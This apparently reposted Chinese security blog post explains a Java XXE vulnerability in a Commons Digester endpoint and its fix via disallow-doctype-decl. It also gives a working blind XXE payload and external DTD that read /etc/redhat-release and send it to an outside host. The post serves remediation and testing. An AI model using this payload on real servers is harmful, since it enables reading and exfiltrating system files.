WEB安全

XXE漏洞_Java XXE漏洞

字号+ 作者:匿名投稿 来源:转载 2017-12-05 13:58 我要评论( )

今天遇到一个 Java XXE漏洞 ,需要修复方案,网上的方案都不行。 最后发现,需要使用造成XXE漏洞类的setFeature方法设置disallow-doctype-decl为true。 漏洞代码 ......

今天遇到一个Java XXE漏洞,需要修复方案,网上的方案都不行。
最后发现,需要使用造成XXE漏洞类的setFeature方法设置disallow-doctype-decl为true。
漏洞代码
造成Java XXE漏洞的代码,真的非常多。比如下面的漏洞代码。
import包名

import org.apache.commons.digester3.Digester;
maven配置

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-digester3</artifactId>
            <version>3.2</version>
        </dependency>
代码


    @RequestMapping("/xxe")
    @ResponseBody
    public static String xxetest(HttpServletRequest request) {
        try {
            String xml_con = request.getParameter("xml").toString();
            Digester digester = new Digester();
            digester.parse(new StringReader(xml_con));
            return "test";
        } catch (Exception e) {
            return "except";
        }
    }
这个代码使用Digester类,所以最后修复代码需要使用该类的setFeature方法。

修复代码:

    public static String xxetest(HttpServletRequest request) {
        try {
            String xml_con = request.getParameter("xml").toString();
            Digester digester = new Digester();
            // parse解析之前设置
            digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            digester.parse(new StringReader(xml_con));
            return "test";
        } catch (Exception e) {
            return "except";
        }
    }
再次利用时,会提示将功能"http://apache.org/xml/features/disallow-doctype-decl"设置为"真"时,不允许使用DOCTYPE。所以,这应该是在检测解析的内容是否有DOCTYPE,DOCTYPE是定义DTD的宏。黑盒测试,检测的内容为<!DOCTYPE,毕竟设置的features为disallow-doctype-decl。WAF如果要拦截XXE,应该也可以这样做,但是不知道误报怎么样,还没有试过。

其他类造成的XXE修复方案,可以参考这个文档。http://find-sec-bugs.github.io/bugs.htm
payload
该payload读取/etc/redhat-release文件内容。该文件内容一般情况下只有一行,所以用来证明XXE的任意文件读取,还比较合适。

URL编码后的payload:

<%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+%5b<!ENTITY+%25+remote+SYSTEM+"http%3a%2f%2ftest.zbg.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>
解码为:

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.zbg.me:8081/evil.xml">%remote;]><root/>
http://test.zbg.me:8081/evil.xml的内容如下:

<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://test.zbg.me:8081/%payload;'>">
%int;
%trick;
用这个的方式,可以来证明任意文件读取。

协议问题
Java在Blind XXE的利用上,读取文件会有些问题。

在PHP中,我们可以使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法将文本内容进行base64编码。

Java中,没这样编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求发送失败。FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。http://www.voidcn.com/article/p-njawsjxm-ko.html

但是,我在测试的时候遇到一个问题,FTP请求发出去了,但是Server端只能看到New client connected内容,看不到实际发出去的内容。我猜测和Java版本有关。

$ java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)
总结
漏洞测试,最好使用HTTP协议读取/etc/redhat-release等一行内容的文件。
使用FTP协议和Java版本有关系,不一定都能成功。



本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/654.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~